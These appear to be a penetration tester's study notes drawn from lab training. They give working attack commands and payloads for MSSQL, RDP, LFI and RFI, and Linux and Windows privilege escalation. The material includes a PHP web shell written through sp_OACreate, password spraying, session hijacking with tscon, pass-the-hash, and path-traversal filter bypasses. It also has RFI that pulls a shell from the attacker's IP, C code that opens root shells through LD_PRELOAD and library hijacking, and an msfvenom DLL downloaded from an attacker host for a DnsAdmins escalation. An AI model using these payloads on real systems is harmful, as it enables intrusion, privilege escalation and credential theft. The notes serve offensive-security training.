msf6 auxiliary(scanner/mssql/mssql_ping) > set rhosts 10.129.201.248
```

**Connecting with Mssqlclient.py**

```shell-session
python3 mssqlclient.py Administrator@10.129.201.248 -windows-auth
```

```shell-session
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SQL-01): Line 1: Changed database context to 'master'.
[*] INFO(SQL-01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands

SQL> select name from sys.databases

name                       
```

**Link to commands**

* <https://learn.microsoft.com/en-us/sql/relational-databases/databases/view-a-list-of-databases-on-an-instance-of-sql-server?view=sql-server-ver16>

```
SELECT name, database_id, create_date  FROM sys.databases;
```

**Connecting with sqlcmd**

```cmd-session
sqlcmd -S SRVMSSQL -U julio -P 'MyPassword!' -y 30 -Y 30
```

* **Note:** When we authenticate to MSSQL using `sqlcmd` we can use the parameters `-y` (SQLCMDMAXVARTYPEWIDTH) and `-Y` (SQLCMDMAXFIXEDTYPEWIDTH) for better looking output. Keep in mind it may affect performance.
*

### Impersonate Existing Users with MSSQL

* SQL Server has a special permission, named `IMPERSONATE`, that allows the executing user to take on the permissions of another user or login until the context is reset or the session ends.

**Identify Users that We Can Impersonate**

```cmd-session
1> SELECT distinct b.name
2> FROM sys.server_permissions a
3> INNER JOIN sys.server_principals b
4> ON a.grantor_principal_id = b.principal_id
5> WHERE a.permission_name = 'IMPERSONATE'
6> GO
```

```cmd-session
name
-----------------------------------------------
sa
ben
valentin
```

**Verifying our Current User and Role**

```cmd-session
1> SELECT SYSTEM_USER
2> SELECT IS_SRVROLEMEMBER('sysadmin')
3> go
```

```cmd-session
-----------
julio                                                                                                                    

(1 rows affected)

-----------
          0

(1 rows affected)
```

* As the returned value `0` indicates, we do not have the sysadmin role, but we can impersonate the `sa` user

**Impersonating the SA User**

```cmd-session
1> EXECUTE AS LOGIN = 'sa'
2> SELECT SYSTEM_USER
3> SELECT IS_SRVROLEMEMBER('sysadmin')
4> GO
```

```cmd-session
-----------
sa

(1 rows affected)

-----------
          1

(1 rows affected)
```

### MSSQL - Enable Ole Automation Procedures

* To write files using `MSSQL`, we need to enable [Ole Automation Procedures](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), which requires admin privileges, and then execute some stored procedures to create the file
* &#x20;[Ole Automation Procedures](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option)

```cmd-session
1> sp_configure 'show advanced options', 1
2> GO
3> RECONFIGURE
4> GO
5> sp_configure 'Ole Automation Procedures', 1
6> GO
7> RECONFIGURE
8> GO
```

**MSSQL - Create a File**

```cmd-session
1> DECLARE @OLE INT
2> DECLARE @FileID INT
3> EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
4> EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
5> EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
6> EXECUTE sp_OADestroy @FileID
7> EXECUTE sp_OADestroy @OLE
8> GO
```

### Read Local Files

* By default, `MSSQL` allows file read on any file in the operating system to which the account has read access. We can use the following SQL query:

**Read Local Files in MSSQL**

```cmd-session
1> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
2> GO
```

```cmd-session

BulkColumn

-----------------------------------------------------------------------------
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to hostnames. Each
# entry should be kept on an individual line. The IP address should

(1 rows affected)
```

### Execute Commands

* `Command execution` is one of the most desired capabilities when attacking common services because it allows us to control the operating system. If we have the appropriate privileges, we can use the SQL database to execute system commands or create the necessary elements to do it.
* `MSSQL` has a [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/database-engine-extended-stored-procedures-programming?view=sql-server-ver15) called [xp\_cmdshell](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-ver15) which allow us to execute system commands using SQL. Keep in mind the following about `xp_cmdshell`:
  * `xp_cmdshell` is a powerful feature and disabled by default. `xp_cmdshell` can be enabled and disabled by using the [Policy-Based Management](https://docs.microsoft.com/en-us/sql/relational-databases/security/surface-area-configuration) or by executing [sp\_configure](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/xp-cmdshell-server-configuration-option)
  * The Windows process spawned by `xp_cmdshell` has the same security rights as the SQL Server service account
  * `xp_cmdshell` operates synchronously. Control is not returned to the caller until the command-shell command is completed
* To execute commands using SQL syntax on MSSQL, use:

**XP\_CMDSHELL**

```cmd-session
1> xp_cmdshell 'whoami'
2> GO
```

```cmd-session
output
-----------------------------
no service\mssql$sqlexpress
NULL
(2 rows affected)
```

* If `xp_cmdshell` is not enabled, we can enable it, if we have the appropriate privileges, using the following command:

```mssql
EXECUTE sp_configure 'show advanced options', 1
GO
```

```mssql
-- To update the currently configured value for advanced options.  
RECONFIGURE
GO
```

```mssql
-- To enable the feature.  
EXECUTE sp_configure 'xp_cmdshell', 1
GO  
```

```mssql
-- To update the currently configured value for this feature.  
RECONFIGURE
GO
```

* There are other methods to get command execution, such as adding [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), and [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
* However, besides those methods there are also additional functionalities that can be used like the `xp_regwrite` command that is used to elevate privileges by creating new entries in the Windows registry


# RDP Attack

* a user account will be locked or disabled after a certain number of failed login attempts.
  * In this case, we can perform a specific password guessing technique called \[\[Password Spraying]]
    * Using the Crowbar tool, we can perform a password spraying attack against the RDP service

### Nmap

```bash
nmap -Pn -p3389 192.168.2.143 
```

### Hydra - RDP Password Spraying

```
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
```

### Crowbar - RDP Password Spraying

* [crowbar](/cybersecurity/crowbar)

### RDP Session Hijacking

* if another user is logged in we can hyjack their session
* To successfully impersonate a user without their password, we need to have `SYSTEM` privileges and use the Microsoft [tscon.exe](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/tscon) binary
  * that enables users to connect to another desktop session

<figure><img src="/files/BSMKuYJpWQRauPeZBpTk" alt=""><figcaption></figcaption></figure>

* we are logged in as the user `juurena` (UserID = 2) who has `Administrator` privileges.
  * Our goal is to hijack the user `lewen` (User ID = 4), who is also logged in via RDP.

```cmd-session
tscon #{TARGET_SESSION_ID} /dest:#{OUR_SESSION_NAME}
```

* If we have local administrator privileges, we can use several methods to obtain SYSTEM privileges, such as \[\[PsExec]] or \[\[Mimikatz]]
* A simple trick is to create a Windows service that, by default, will run as `Local System` and will execute any binary with `SYSTEM` privileges
  * We will use [Microsoft sc.exe](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/sc-create) binary.
  * First, we specify the service name (`sessionhijack`) and the `binpath`, which is the command we want to execute.
  * Once we run the following command, a service named `sessionhijack` will be created.

```cmd-session
C:\htb> query user
```

```cmd-session
 USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
>juurena               rdp-tcp#13          1  Active          7  8/25/2021 1:23 AM
 lewen                 rdp-tcp#14          2  Active          *  8/25/2021 1:28 AM
```

<figure><img src="/files/kmq6EgoIgACMsgaM74d7" alt=""><figcaption></figcaption></figure>

```cmd-session
C:\htb> sc.exe create sessionhijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#13"
```

```cmd-session
[SC] CreateService SUCCESS
```

* To run the command, we can start the `sessionhijack` service :

```cmd-session
net start sessionhijack
```

* Once the service is started, a new terminal with the `lewen` user session will appear.
* With this new account, we can attempt to discover what kind of privileges it has on the network
*

```
<figure><img src="/files/1eE5DjmPTgVJvcBExGhn" alt=""><figcaption></figcaption></figure>
```

```
* _Note: This method no longer works on Server 2019._

### RDP Pass-the-Hash (PtH)

* If we have plaintext credentials for the target user, it will be no problem to RDP into the system.
  * However, what if we only have the NT hash of the user obtained from a credential dumping attack such as [SAM](https://en.wikipedia.org/wiki/Security_Account_Manager) database, and we could not crack the hash to reveal the plaintext password
  * in some instances, we can perform an RDP PtH attack to gain GUI access to the target system using tools like `xfreerdp`.
  * There are a few caveats to this attack
    * `Restricted Admin Mode`, which is disabled by default, should be enabled on the target host; otherwise, we will be prompted with the following error:
      *

          <figure><img src="/files/WH2OyJF2SQNJ3mYcCMzP" alt=""><figcaption></figcaption></figure>


      * This can be enabled by adding a new registry key `DisableRestrictedAdmin` (REG\_DWORD) under `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa`.&#x20;
        * It can be done using the following command: - `reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f`
        *

            <figure><img src="/files/zFnqjm7I8SClAoc7GXEH" alt=""><figcaption></figcaption></figure>


        * Once the registry key is added, we can use `xfreerdp` with the option `/pth` to gain RDP access: - `xfreerdp /v:192.168.220.152 /u:lewen /pth:300FF5E89EF33F83A8146C10F5AB9BB9`
      * If it works, we'll now be logged in via RDP as the target user without knowing their cleartext password.&#x20;
```


# crowbar

```shell-session
 crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
```

```shell-session
2022-04-07 15:35:50 START
2022-04-07 15:35:50 Crowbar v0.4.1
2022-04-07 15:35:50 Trying 192.168.220.142:3389
2022-04-07 15:35:52 RDP-SUCCESS : 192.168.220.142:3389 - administrator:password123
2022-04-07 15:35:52 STOP
```

#### Bruteforce Protocols

* openvpn
* rdp
* sshkey
* vnckey
* \[\[Remote Desktop Protocol (RDP)]]


# Local File Inclusion (LFI)

* &#x20;example,
  * the page may have a `?language` GET parameter,
  * if a user changes the language from a drop-down menu,
    * then the same page would be returned but with a different `language` parameter (e.g. `?language=es`).
  * In such cases, changing the language may change the directory the web application is loading the pages from (e.g. `/en/` or `/es/`).&#x20;
    \*

    ```
    <figure><img src="/files/zBXLa6rGCD7uvBBc8TnG" alt=""><figcaption></figcaption></figure>

    <figure><img src="/files/o08OJdFyBrl4KgxcADTI" alt=""><figcaption></figcaption></figure>
    ```

### Read vs Execute

| **Function**                 | **Read Content** | **Execute** | **Remote URL** |
| ---------------------------- | :--------------: | :---------: | :------------: |
| **PHP**                      |                  |             |                |
| `include()`/`include_once()` |         ✅        |      ✅      |        ✅       |
| `require()`/`require_once()` |         ✅        |      ✅      |        ❌       |
| `file_get_contents()`        |         ✅        |      ❌      |        ✅       |
| `fopen()`/`file()`           |         ✅        |      ❌      |        ❌       |
| **NodeJS**                   |                  |             |                |
| `fs.readFile()`              |         ✅        |      ❌      |        ❌       |
| `fs.sendFile()`              |         ✅        |      ❌      |        ❌       |
| `res.render()`               |         ✅        |      ✅      |        ❌       |
| **Java**                     |                  |             |                |
| `include`                    |         ✅        |      ❌      |        ❌       |
| `import`                     |         ✅        |      ✅      |        ✅       |
| **.NET**                     |                  |             |                |
| `@Html.Partial()`            |         ✅        |      ❌      |        ❌       |
| `@Html.RemotePartial()`      |         ✅        |      ❌      |        ✅       |
| `Response.WriteFile()`       |         ✅        |      ❌      |        ❌       |
| `include`                    |         ✅        |      ✅      |        ✅       |

### Filename Prefix

&#x20;\- On some occasions, our input may be appended after a different string. For example, it may be used with a prefix to get the full filename, like the following example:

```php
include("lang_" . $_GET['language']);
```

* In this case, if we try to traverse the directory with `../../../etc/passwd`, the final string would be `lang_../../../etc/passwd`, which is invalid:
*

```
<figure><img src="/files/8B5Atcj6olVvRyRmM5ZF" alt=""><figcaption></figcaption></figure>
```

* As expected, the error tells us that this file does not exist. so, instead of directly using path traversal, we can prefix a `/` before our payload, and this should consider the prefix as a directory, and then we should bypass the filename and be able to traverse directories:
*

```
<figure><img src="/files/C912oDZbOxDBQQli7Yhp" alt=""><figcaption></figcaption></figure>
```

### Appended Extensions

* This is quite common, as in this case, we would not have to write the extension every time we need to change the language.
* This may also be safer as it may restrict us to only including PHP files. In this case, if we try to read `/etc/passwd`, then the file included would be `/etc/passwd.php`, which does not exist:
*

```
<figure><img src="/files/kcJLR3jLZqNG07Q5pWwm" alt=""><figcaption></figcaption></figure>
```

### Second-Order Attacks

* a web application may allow us to download our avatar through a URL like (`/profile/$username/avatar.png`).
* If we craft a malicious LFI username (e.g. `../../../etc/passwd`), then it may be possible to change the file being pulled to another local file on the server and grab it instead of our avatar.
  * we would be poisoning a database entry with a malicious LFI payload in our username.
  * Then, another web application functionality would utilize this poisoned entry to perform our attack (i.e. download our avatar based on username value).
  * This is why this attack is called a `Second-Order` attack.

### Basic Bypasses

#### Non-Recursive Path Traversal Filters

<https://academy.hackthebox.com/module/23/section/1491> [#oscp-checkout](app://obsidian.md/index.html#oscp-checkout)

```php
$language = str_replace('../', '', $_GET['language']);
```

* We see that all `../` substrings were removed, which resulted in a final path being `./languages/etc/passwd`.
* However, this filter is very insecure, as it is not `recursively removing` the `../` substring, as it runs a single time on the input string and does not apply the filter on the output string. - For example, if we use `....//` as our payload, then the filter would remove `../` and the output string would be `../`, which means we may still perform path traversal.

<figure><img src="/files/dRNgROpS24UzVX3F5aDJ" alt=""><figcaption></figcaption></figure>

* The `....//` substring is not the only bypass we can use, as we may use `..././` or `....\/` and several other recursive LFI payloads.
* Furthermore, in some cases, escaping the forward slash character may also work to avoid path traversal filters (e.g. `....\/`), or adding extra forward slashes (e.g. `....////`)

#### Encoding

* some of these filters may be bypassed by URL encoding our input, such that it would no longer include these bad characters
  * but would still be decoded back to our path traversal string once it reaches the vulnerable function.
* If the target web application did not allow `.` and `/` in our input, we can URL encode `../` into `%2e%2e%2f`

<figure><img src="/files/Nvai48bPUqMJvClbv0Ne" alt=""><figcaption></figcaption></figure>

#### Approved Paths

* Some web applications may also use Regular Expressions to ensure that the file being included is under a specific path
* &#x20;For example, the web application we have been dealing with may only accept paths that are under the `./languages` directory, as follows:

```php
if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {
    include($_GET['language']);
} else {
    echo 'Illegal path specified!';
}
```

* To find the approved path, we can examine the requests sent by the existing forms, and see what path they use for the normal web functionality.
* Furthermore, we can fuzz web directories under the same path, and try different ones until we get a match.
* To bypass this, we may use path traversal and start our payload with the approved path, and then use `../` to go back to the root directory and read the file we specify, as follows:

```
<SERVER_IP>:<PORT>/index.php?language=./languages/../../../../etc/passwd
```

<figure><img src="/files/0BEQAklUDQOVuRG47FiA" alt=""><figcaption></figcaption></figure>

#### Appended Extension

* some web applications append an extension to our input string (e.g. `.php`), to ensure that the file we include is in the expected extension
* There are a couple of other techniques we may use, but they are `obsolete with modern versions of PHP and only work with PHP versions before 5.3/5.4`.

**Path Truncation**

* In earlier versions of PHP, defined strings have a maximum length of 4096 characters, likely due to the limitation of 32-bit systems
* &#x20;If a longer string is passed, it will simply be `truncated`, and any characters after the maximum length will be ignored.
* Furthermore, PHP also used to remove trailing slashes and single dots in path names, so if we call (`/etc/passwd/.`) then the `/.` would also be truncated, and PHP would call (`/etc/passwd`). PHP, and Linux systems in general, also disregard multiple slashes in the path (e.g. `////etc/passwd` is the same as `/etc/passwd`).
* Similarly, a current directory shortcut (`.`) in the middle of the path would also be disregarded (e.g. `/etc/./passwd`).
* If we combine both of these PHP limitations together, we can create very long strings that evaluate to a correct path.
* Whenever we reach the 4096 character limitation, the appended extension (`.php`) would be truncated, and we would have a path without an appended extension.
* Finally, it is also important to note that we would also need to `start the path with a non-existing directory` for this technique to work.
* An example of such payload would be the following:

```url
?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]
```

* Of course, we don't have to manually type `./` 2048 times (total of 4096 characters), but we can automate the creation of this string with the following command:

```shell-session
echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done
non_existing_directory/../../../etc/passwd/./././<SNIP>././././
```

* We may also increase the count of `../`, as adding more would still land us in the root directory, as explained in the previous section.
* However, if we use this method, we should calculate the full length of the string to ensure only `.php` gets truncated and not our requested file at the end of the string (`/etc/passwd`). This is why it would be easier to use the first method.

**Null Bytes**

* PHP versions before 5.5 were vulnerable to `null byte injection`,
  * which means that adding a null byte (`%00`) at the end of the string would terminate the string and not consider anything after it.
* This is due to how strings are stored in low-level memory, where strings in memory must use a null byte to indicate the end of the string, as seen in Assembly, C, or C++ languages.
* To exploit this vulnerability, we can end our payload with a null byte
* e.g

```
/etc/passwd%00
```

* such that the final path passed to `include()` would be (`/etc/passwd%00.php`)
* This way, even though `.php` is appended to our string, anything after the null byte would be truncated, and so the path used would actually be `/etc/passwd`, leading us to bypass the appended extension.

### PHP Filters

### Input Filters

* [PHP Filters](https://www.php.net/manual/en/filters.php) are a type of PHP wrappers, where we can pass different types of input and have it filtered by the filter we specify.
  * To use PHP wrapper streams, we can use the `php://` scheme in our string, and we can access the PHP filter wrapper with `php://filter/`
* The `filter` wrapper has several parameters, but the main ones we require for our attack are `resource` and `read`.
  * The `resource` parameter is required for filter wrappers, and with it we can specify the stream we would like to apply the filter on (e.g. a local file), while the `read` parameter can apply different filters on the input resource, so we can use it to specify which filter we want to apply on our resource.
* There are four different types of filters available for use, which are
  * [String Filters](https://www.php.net/manual/en/filters.string.php)
  * [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
  * [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
  * [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)

### Standard PHP Inclusion

```
http://<SERVER_IP>:<PORT>/index.php?language=config
```

* This may be useful in certain cases, like accessing local PHP pages we do not have access over (i.e. SSRF), but in most cases, we would be more interested in reading the PHP source code through LFI, as source codes tend to reveal important information about the web application
* This is where the `base64` php filter gets useful, as we can use it to base64 encode the php file, and then we would get the encoded source code instead of having it being executed and rendered
* This is especially useful for cases where we are dealing with LFI with appended PHP extensions, because we may be restricted to including PHP files only

### Source Code Disclosure

* Once we have a list of potential PHP files we want to read, we can start disclosing their sources with the `base64` PHP filter.
* to try to read the source code of `config.php` using the base64 filter, by specifying `convert.base64-encode` for the `read` parameter and `config` for the `resource` parameter, as follows:

```url
php://filter/read=convert.base64-encode/resource=config
```

```
http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=config
```

* **Note:** We intentionally left the resource file at the end of our string, as the `.php` extension is automatically appended to the end of our input string, which would make the resource we specified be `config.php`.
* then decode the string

### LFI wordlists

* ```
  ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287
  ```

  <br>

### Fuzzing Server Webroot

* linux wordlist
  * <https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/default-web-root-directory-linux.txt>
* Windows wordlist
  * <https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/default-web-root-directory-windows.txt>
* Others
  * can also use
    * <https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt>
      * Though they are not part of `seclists`, so we need to download them first

```shell-session
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287
```

### Tools

* [LFISuite](https://github.com/D35m0nd142/LFISuite)
* [LFiFreak](https://github.com/OsandaMalith/LFiFreak)
* [liffy](https://github.com/mzfr/liffy)

\
\
![](/files/m0JTaztzKPvH3gfZXNdG)


# Remote File Inclusion (RFI)

* \
  The vulnerable function allows the inclusion of remote URLs. This allows two main benefits:
  1. Enumerating local-only ports and web applications (i.e. SSRF)
  2. Gaining remote code execution by including a malicious script that we host
* Almost any Remote File Inclusion vulnerability is also an [Local File Inclusion (LFI)](/cybersecurity/local-file-inclusion-lfi) vulnerability, as any function that allows including remote URLs usually also allows including local ones
  * an LFI may not necessarily be an RFI.
    * The vulnerable function may not allow including remote URLs
    * You may only control a portion of the filename and not the entire protocol wrapper (ex: `http://`, `ftp://`, `https://`).
    * The configuration may prevent RFI altogether, as most modern web servers disable including remote files by default

```
http://<SERVER_IP>:<PORT>/index.php?language=http://127.0.0.1:80/index.php
```

### Remote Code Execution with RFI

```shell-session
 echo '<?php system($_GET["cmd"]); ?>' > shell.php
```

* start a [Personal web server](app://obsidian.md/Personal%20web%20server)

```
http://<SERVER_IP>:<PORT>/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id
```

#### FTP

* if FTP is blocked use FTP server
  * setup ftp server [Setup FTP Server](app://obsidian.md/Personal%20web%20server#FTP%20Server)

```
http://<SERVER_IP>:<PORT>/index.php?language=ftp://<OUR_IP>/shell.php&cmd=id
```

* cli version

```shell-session
 curl 'http://<SERVER_IP>:<PORT>/index.php?language=ftp://user:pass@localhost/shell.php&cmd=id'
```

#### SMB

* if a windows web server is being used

  ```shell-session
  impacket-smbserver -smb2support share $(pwd)
  ```

```
http://<SERVER_IP>:<PORT>/index.php?language=\\<OUR_IP>\share\shell.php&cmd=whoami
```


# Linux Shared Libraries Attacks

* two types of libraries exist in Linux:&#x20;
  * `static libraries` (denoted by the .a file extension)
  * `dynamically linked shared object libraries` (denoted by the .so file extension)
* There are multiple methods for specifying the location of dynamic libraries, so the system will know where to look for them on program execution.
* This includes the `-rpath` or `-rpath-link` flags when compiling a program, using the environmental variables `LD_RUN_PATH` or `LD_LIBRARY_PATH`, placing libraries in the `/lib` or `/usr/lib` default directories, or specifying another directory containing the libraries within the `/etc/ld.so.conf` configuration file.
* Additionally, the `LD_PRELOAD` environment variable can load a library before executing a binary.
  * The functions from this library are given preference over the default ones. The shared objects required by a binary can be viewed using the `ldd` utility.

```shell-session
ldd /bin/ls
```

```shell-session
	linux-vdso.so.1 =>  (0x00007fff03bc7000)
	libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f4186288000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4185ebe000)
	libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007f4185c4e000)
	libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f4185a4a000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f41864aa000)
	libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f418582d000)
```

* The code above lists all the libraries required by `/bin/ls`, along with their absolute paths.

### LD\_PRELOAD Privilege Escalation

```shell-session
sudo -l
```

* get the exuctable that can run as root or the user you want to get as

```bash
cd /tmp
nano root.c
```

* root.c

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
```

```shell-session
gcc -fPIC -shared -o root.so root.c -nostartfiles
```

```shell-session
sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart
```

* you get shell of that user


# Linux Shared Object Hijacking

* Programs and binaries under development usually have custom libraries associated with them. Consider the following `SETUID` binary.

```shell-session
ls -la payroll
```

```
-rwsr-xr-x 1 root root 16728 Sep  1 22:05 payroll
```

* We can use [ldd](https://manpages.ubuntu.com/manpages/bionic/man1/ldd.1.html) to print the shared object required by a binary or shared object.&#x20;
  * `Ldd` displays the location of the object and the hexadecimal address where it is loaded into memory for each of a program's dependencies.

```shell-session
ldd payroll
```

```shell-session
linux-vdso.so.1 =>  (0x00007ffcb3133000)
libshared.so => /lib/x86_64-linux-gnu/libshared.so (0x00007f7f62e51000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7f62876000)
/lib64/ld-linux-x86-64.so.2 (0x00007f7f62c40000)
```

* We see a non-standard library named `libshared.so`
  * listed as a dependency for the binary.
* As stated earlier, it is possible to load shared libraries from custom locations.
* One such setting is the `RUNPATH` configuration.
  * Libraries in this folder are given preference over other folders.
  * This can be inspected using the [readelf](https://man7.org/linux/man-pages/man1/readelf.1.html) utility.

```shell-session
readelf -d payroll  | grep PATH
```

```shell-session
 0x000000000000001d (RUNPATH)            Library runpath: [/development]
```

* The configuration allows the loading of libraries from the `/development` folder, which is writable by all users.
  * This misconfiguration can be exploited by placing a malicious library in `/development`
    * which will take precedence over other folders because entries in this file are checked first (before other folders present in the configuration files).

```shell-session
ls -la /development/
```

* Before compiling a library, we need to find the function name called by the binary.

```shell-session
ldd payroll
```

```shell-session
linux-vdso.so.1 (0x00007ffd22bbc000)
libshared.so => /development/libshared.so (0x00007f0c13112000)
/lib64/ld-linux-x86-64.so.2 (0x00007f0c1330a000)
```

```shell-session
cp /lib/x86_64-linux-gnu/libc.so.6 /development/libshared.so
```

```shell-session
./payroll 
```

* get an error

```shell-session
./payroll: symbol lookup error: ./payroll: undefined symbol: dbquery
```

* We can copy an existing library to the `development` folder.
  * Running `ldd` against the binary lists the library's path as `/development/libshared.`so, which means that it is vulnerable.
  * Executing the binary throws an error stating that it failed to find the function named `dbquery`.
  * We can compile a shared object which includes this function.

```c
#include<stdio.h>
#include<stdlib.h>

void dbquery() {
    printf("Malicious library loaded\n");
    setuid(0);
    system("/bin/sh -p");
} 
```

* The `dbquery` function sets our user id to 0 (root) and executing `/bin/sh` when called. Compile it using [GCC](https://linux.die.net/man/1/gcc).

```shell-session
gcc src.c -fPIC -shared -o /development/libshared.so
```

* Executing the binary again should display the banner and pops a root shell.

```shell-session
***************Inlane Freight Employee Database***************

Malicious library loaded
# id
uid=0(root) gid=1000(mrb3n) groups=1000(mrb3n)
```


# Microsoft Guide to all Windows command

{% file src="/files/Tc9qPHDeTY5HP1Gedut3" %}


# Windows Event Log Readers

* Organizations may enable logging of process command lines to help defenders monitor and identify possibly malicious behaviour and identify binaries that should not be present on a system
* The tools would then flag any potentially malicious activity, such as the `whoami`, `netstat`, and `tasklist` commands being run from a marketing executive's workstation.
* [Microsoft Guide to all Windows command](/cybersecurity/microsoft-guide-to-all-windows-command)
* Many Windows commands support passing a password as a parameter,
  * if auditing of process command lines is enabled,
  * this sensitive information will be captured.
  * We can query Windows events from the command line using the [wevtutil](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil) utility and the [Get-WinEvent](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.diagnostics/get-winevent?view=powershell-7.1) PowerShell cmdlet.

### Confirming Group Membership

```cmd-session
net localgroup "Event Log Readers"
```

```cmd-session
Alias name     Event Log Readers
Comment        Members of this group can read event logs from local machine

Members

-------------------------------------------------------------------------------
logger
The command completed successfully.
```

### Searching Security Logs Using wevtutil

```powershell-session
wevtutil qe Security /rd:true /f:text | Select-String "/user"
```

* We can also specify alternate credentials for `wevtutil` using the parameters `/u` and `/p`.

### Passing Credentials to wevtutil

```cmd-session
wevtutil qe Security /rd:true /f:text /r:share01 /u:julie.clay /p:Welcome1 | findstr "/user"
```

* For `Get-WinEvent`, the syntax is as follows. In this example, we filter for process creation events (4688), which contain `/user` in the process command line.
* **Note: Searching the `Security` event log with `Get-WInEvent` requires administrator access or permissions adjusted on the registry key `HKLM\System\CurrentControlSet\Services\Eventlog\Security`. Membership in just the `Event Log Readers` group is not sufficient.**

### Searching Security Logs Using Get-WinEvent

```powershell-session
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}
```

* The cmdlet can also be run as another user with the `-Credential` parameter.


# Windows DnsAdmins Attacks

* Members of the DnsAdmins group have access to DNS information on the network
* The Windows DNS service supports custom plugins and can call functions from them to resolve name queries that are not in the scope of any locally hosted DNS zones
  * The DNS service runs as `NT AUTHORITY\SYSTEM`, so membership in this group could potentially be leveraged to escalate privileges on a Domain Controller or in a situation where a separate server is acting as the DNS server for the domain
  * It is possible to use the built-in [dnscmd](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/dnscmd) utility to specify the path of the plugin DLL.
* when DNS is run on a Domain Controller (which is very common):
  * DNS management is performed over RPC
  * [ServerLevelPluginDll](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dnsp/c9d38538-8827-44e6-aa5e-022a016ed723) allows us to load a custom DLL with zero verification of the DLL's path. This can be done with the `dnscmd` tool from the command line
  * When a member of the `DnsAdmins` group runs the `dnscmd` command below, the `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll` registry key is populated
  * When the DNS service is restarted, the DLL in this path will be loaded (i.e., a network share that the Domain Controller's machine account can access)
  * An attacker can load a custom DLL to obtain a reverse shell or even load a tool such as Mimikatz as a DLL to dump credentials.

### Leveraging DnsAdmins Access

#### Generating Malicious DLL

```shell-session
msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll
```

#### Starting Local HTTP Server

* \[\[Transferring Files]]

#### Downloading File to Target

```powershell-session
wget "http://10.10.14.3:7777/adduser.dll" -outfile "adduser.dll"
```

#### Loading DLL as Non-Privileged User

```cmd-session
dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll
```

